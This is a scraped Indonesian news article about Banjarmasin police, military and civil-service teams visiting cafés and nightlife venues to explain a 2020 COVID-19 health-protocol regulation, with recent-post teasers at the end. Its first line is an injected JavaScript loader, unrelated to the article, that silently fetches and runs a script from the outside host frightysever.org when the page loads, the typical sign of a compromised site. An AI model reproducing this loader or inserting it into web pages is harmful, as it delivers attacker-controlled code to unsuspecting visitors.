(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Perwali Protokol Kesehatan Segera Berlaku, Aparat Gabungan Datangi Café dan THM


KANALKALIMANTAN.COM, BANJARMASIN – Jelang pemberlakukan Perwali Nomor 60 tahun 2020 tentang pelaksanaan dan penegakan hukum protokol kesehatan Covid-19 di Banjarmasin, Polresta Banjarmasin bersama personel BKO Polda Kalsel, Kodim 1007/Banjarmasin dan Satpol PP Kota Banjarmasin menyosialisasikan aturan dan sanksi di café dan tempat hiburan malam, Sabtu (29/8/2020) malam.

Giat personel gabungan ini mendatangi tempat hiburan malam dan cafe-cafe di lima kecamatan di kota Seribu Sungai. Personel juga membagikan dan menempelkan pamplet berisi sanksi mulai dari teguran tertulis atau lisan hingga denda administratif Rp 100 ribu. Kegiatan langsung dipimpin Wakapolresta Banjarmasin AKBP Sabana Atmojo.

“Kita lakukan sosialisasi secara persuasif kepada para pengelola cafe atau tempat hiburan dan masyarakat, sebelum nantinya sanksi bagi para pelanggar diterapkan,” ucap Wakapolresta Banjarmasin.

Selain sosialisasikan aturan tersebut, tiga pilar kota Banjarmasin juga memberikan masker secara gratis sebanyak 250 lembar kepada masyarakat.

Polresta Banjarmasin bersama personel BKO Polda Kalsel, Kodim 1007/Banjarmasin dan Satpol PP Kota Banjarmasin menyosialisasikan aturan dan sanksi di café dan tempat hiburan malam. foto: humas polresta banjarmasin

“Dari hasil giat, sudah sangat jarang masyarakat ditemui tidak menggunakan masker dan mereka mulai memahami, mengerti serta mempedomani akan pentingnya protokol kesehatan,” ujarnya.

Wakapolresta Banjarmasin menuturkan, apa yang dilakukan pihaknya bersama personel gabungan merupakan tindak lanjut dari atensi Kapolda Kalsel Irjen Pol Dr Nico Afinta untuk sosialisasi aturan secara masif kepada masyarakat.

“Kita ingin seiring sejalan, dengan dukung dari masyarakat mempedomani dan menerapkan protokol kesehatan,” tutur Wakapolresta Banjarmasin. (kanalkalimantan.com/fikri)


Al Ghifari

Recent Posts

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

21 menit ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

1 jam ago

Peternak Babi di Pandarapan Keberatan Batas Waktu Tiga Bulan Bongkar Kandang

KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More

2 jam ago

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

15 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

15 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

16 jam ago

This website uses cookies.